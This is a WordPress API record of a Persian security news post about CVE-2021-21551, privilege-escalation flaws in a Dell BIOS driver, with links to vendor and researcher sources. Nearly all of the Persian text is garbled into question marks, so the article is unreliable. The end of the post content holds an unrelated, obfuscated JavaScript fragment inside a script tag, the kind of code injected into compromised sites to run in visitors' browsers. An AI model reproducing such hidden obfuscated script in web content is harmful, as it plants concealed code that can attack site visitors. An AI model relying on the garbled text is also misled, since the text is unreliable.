{"id":2919,"date":"2021-05-06T23:16:49","date_gmt":"2021-05-06T18:46:49","guid":{"rendered":"http:\/\/soroosheamniyat.ir\/?p=2919"},"modified":"2021-07-03T08:19:10","modified_gmt":"2021-07-03T03:49:10","slug":"2919","status":"publish","type":"post","link":"https:\/\/soroosheamniyat.ir\/?p=2919","title":{"rendered":"\u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0635\u062f\u0647\u0627 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0631\u0627\u06cc\u0627\u0646\u0647 \u0634\u062e\u0635\u06cc Dell \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u062a\u0648\u0633\u0637 \u0627\u0634\u06a9\u0627\u0644\u0627\u062a BIOS PrivEsc"},"content":{"rendered":"<p style=\"text-align: justify;\">?????? ?????????? ???? Dell ???? ??? ?????????????? ?????? ??? ?????? ????? ?????? ?? ?? ??? ???? ??????? ????????? ?? ??????????? ????? ???? ???. ??? ????????????? ?????? ?????? ?? ??????? ????? ?????? ???????? ???? kernel ?? ?? ??? ????? ? ???? ?? denial-of-service ????.<\/p>\n<p style=\"text-align: justify;\">??? ??????? ???? ?????? SentinelOne ?? ????? ? ?????? ??? ???? ?? Dell ????? ??? ??? ? ?? ?? ?????? ??????????? firmware ?? ??? \u201cdbutil_2_3.sys\u201d ???? ???? ?? ?? ??? ??? ?????????? ?? ??? ??? ???. ???? ?????? ???? ?????? ?????? ??????? ??????? ???????? ? ???? ???????? ???? ??? ???? ????????? ?????.<\/p>\n<p style=\"text-align: justify;\">Dell ?? ????? ???????? ?? ??? ???? ???<a href=\"https:\/\/apa.aut.ac.ir\/?p=7957#_ftn1\" name=\"_ftnref1\">[?]<\/a>: \u201c?????? dbutil_2_3.sys ???? ?? ?????????? ????? ?????? ?????? ??? ?? ???? ??? ???? ?? ????? ??? ??????? DoE ?? ????? ??????? ???. ?????? ????? ?????????? ???? ???????? ???.\u201d<\/p>\n<p style=\"text-align: justify;\">?? ?? ??? ??? ?????? ??????? ????? CVE-2021-21551 ?? ???? ??? ?? ????? CVSS ?????? ???????? ???. ???????????? ????????????? ?? ??? ??? ???:<\/p>\n<ul style=\"text-align: justify;\">\n<li>CVE-2021-21551: ?????? ??? ?????????? ???? ????? ? \u2013 ???? ?????<\/li>\n<li>CVE-2021-21551: ?????? ??? ?????????? ???? ????? ? \u2013 ???? ?????<\/li>\n<li>CVE-2021-21551: ?????? ??? ?????????? ???? ????? ? \u2013 ????? ????? ????<\/li>\n<li>CVE-2021-21551: ?????? ??? ?????????? ???? ????? ? \u2013 ????? ????? ????<\/li>\n<li>CVE-2021-21551: DoE \u2013 ????? ???? ??<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">???? ???? ???? ???? ????? SentinelOne? ?? ?????? ?? ??? ??????? ? ?? ???? ????? ????<a href=\"https:\/\/apa.aut.ac.ir\/?p=7957#_ftn2\" name=\"_ftnref2\">[?]<\/a>: \u201c??? ??????? ???? ???????? ?? ?? ????? ?? ??????? ??? ???? ????? ??? ?????? ???? ????? ??? ??? ?????? ??? ?? ?????? ???? ? ?? ?? ?? ???? kernel ???? ???. ?????? ?????????????? ????? ?? ??? ?????????????? ??????? ?? ????? ???? ??? ??? ??????? ?????? ???.\u201d<\/p>\n<p style=\"text-align: justify;\">???????? ??? ??????? ????? ?? ?????? ??? ?????? ???? ???? ???? ??? ?? ???? ??????? ?? ??? ??? ???? ??????????? ???? ?????. ???? ????? ?? ????? ?? ???? ???? ?? ?? ???? ??? ????? ?? ?? ????? ????????? ?????? ???? ???? ???? ? ?? ????? ?? ???????? ?? ?????????? driver ???? ?? ??? ????? ?????? ???? ?????????? ???. ?? ?? ????? ??? ??????? ????? ???????? ?? ????????? ???? ???? ????? ?? ?????? ??????? ??? ? ??????? ????? ?? ???? ?????? ???? ???.<\/p>\n<p style=\"text-align: justify;\">????? ??? ????? ???? ?? ?????????? ?? ??? ?????????? ?? ??? ??????? ??? ???? ???? SentinelOne ??? ?? ??? ???? ?? ????? ???? (PoC) ?? ?? ????? ? ???? ???? ????? ??? ? ?? ??????? Dell ???? ???? ???? ??? ?????????? ?? ??????.<\/p>\n<p style=\"text-align: justify;\">??? ????? ???? ???????<a href=\"https:\/\/apa.aut.ac.ir\/?p=7957#_ftn3\" name=\"_ftnref3\">[?]<\/a>? ????? ???? Crowdtrike? ????? SentinelOne ???? ????? ??? ??? ?? ?????? ????? ?? ?? ??? ????? ?? Dell ????? ??????? ????? ???? ???? ????? ?????? ????? ?? Sunnyvale ?? ??? ???? ? ?????? ???? IOActive.<\/p>\n<p style=\"text-align: justify;\"><strong>?????<\/strong><\/p>\n<p dir=\"ltr\" style=\"text-align: justify;\"><a href=\"https:\/\/apa.aut.ac.ir\/?p=7957#_ftnref1\" name=\"_ftn1\">[?]<\/a><a href=\"https:\/\/www.dell.com\/support\/kbdoc\/en-in\/000186019\/dsa-2021-088-dell-client-platform-security-update-for-dell-driver-insufficient-access-control-vulnerability\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/www.dell.com\/support\/kbdoc\/en-in\/000186019\/dsa-2021-088-dell-client-platform-security-update-for-dell-driver-insufficient-access-control-vulnerability<\/a><\/p>\n<p dir=\"ltr\" style=\"text-align: justify;\"><a href=\"https:\/\/apa.aut.ac.ir\/?p=7957#_ftnref2\" name=\"_ftn2\">[?]<\/a><a href=\"https:\/\/labs.sentinelone.com\/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/labs.sentinelone.com\/cve-2021-21551-hundreds-of-millions-of-dell-computers-at-risk-due-to-multiple-bios-driver-privilege-escalation-flaws<\/a><\/p>\n<p dir=\"ltr\" style=\"text-align: justify;\"><a href=\"https:\/\/apa.aut.ac.ir\/?p=7957#_ftnref3\" name=\"_ftn3\">[?]<\/a>\u00a0<a href=\"https:\/\/twitter.com\/aionescu\/status\/1389713668917501954\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/twitter.com\/aionescu\/status\/1389713668917501954<\/a><\/p>\n<p dir=\"ltr\" style=\"text-align: justify;\">[?]<a href=\"https:\/\/apa.aut.ac.ir\/?p=7957#_ftnref2\" name=\"_ftn2\"><\/a>\u00a0<a href=\"https:\/\/thehackernews.com\/2021\/05\/bios-privesc-bug-affects-hundreds-of.html\" target=\"_blank\" rel=\"noopener noreferrer\">https:\/\/thehackernews.com\/2021\/05\/bios-privesc-bug-affects-hundreds-of.html<\/a><\/p>\n<p dir=\"ltr\" style=\"direction: rtl; text-align: justify;\">??????? :<\/p>\n<p dir=\"ltr\" style=\"direction: rtl; text-align: justify;\">???? ??????<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>?????? ?????????? ???? Dell ???? ??? ?????????????? ?????? ??? ?????? ????? ?????? ?? ?? ??? ???? ??????? ????????? ?? ??????????? ????? ???? ???. ??? ????????????? ?????? ?????? ?? ??????? ????? ?????? ???????? ???? kernel ?? ?? ??? ????? ? ???? ?? denial-of-service ????. ??? ??????? ???? ?????? SentinelOne ?? ????? ? ?????? ??? ???? ?? &hellip;<\/p>\n","protected":false},"author":3,"featured_media":2920,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[572],"tags":[971,968,969,970,972],"class_list":["post-2919","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-572","tag-cve-2021-21551","tag-dell","tag-969","tag-970","tag-972"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v20.4 (Yoast SEO v28.2) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>\u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0635\u062f\u0647\u0627 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0631\u0627\u06cc\u0627\u0646\u0647 \u0634\u062e\u0635\u06cc Dell \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u062a\u0648\u0633\u0637 \u0627\u0634\u06a9\u0627\u0644\u0627\u062a BIOS PrivEsc - \u067e\u0627\u06cc\u06af\u0627\u0647 \u062e\u0628\u0631\u06cc \u0633\u0631\u0648\u0634 \u0627\u0645\u0646\u06cc\u062a<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/soroosheamniyat.ir\/?p=2919\" \/>\n<meta property=\"og:locale\" content=\"fa_IR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u0646 \u0635\u062f\u0647\u0627 \u0645\u06cc\u0644\u06cc\u0648\u0646 \u0631\u0627\u06cc\u0627\u0646\u0647 \u0634\u062e\u0635\u06cc Dell \u062f\u0631 \u0633\u0631\u0627\u0633\u0631 \u062c\u0647\u0627\u0646 \u062a\u0648\u0633\u0637 \u0627\u0634\u06a9\u0627\u0644\u0627\u062a BIOS PrivEsc\" \/>\n<meta property=\"og:description\" content=\"?????? ?????????? ???? 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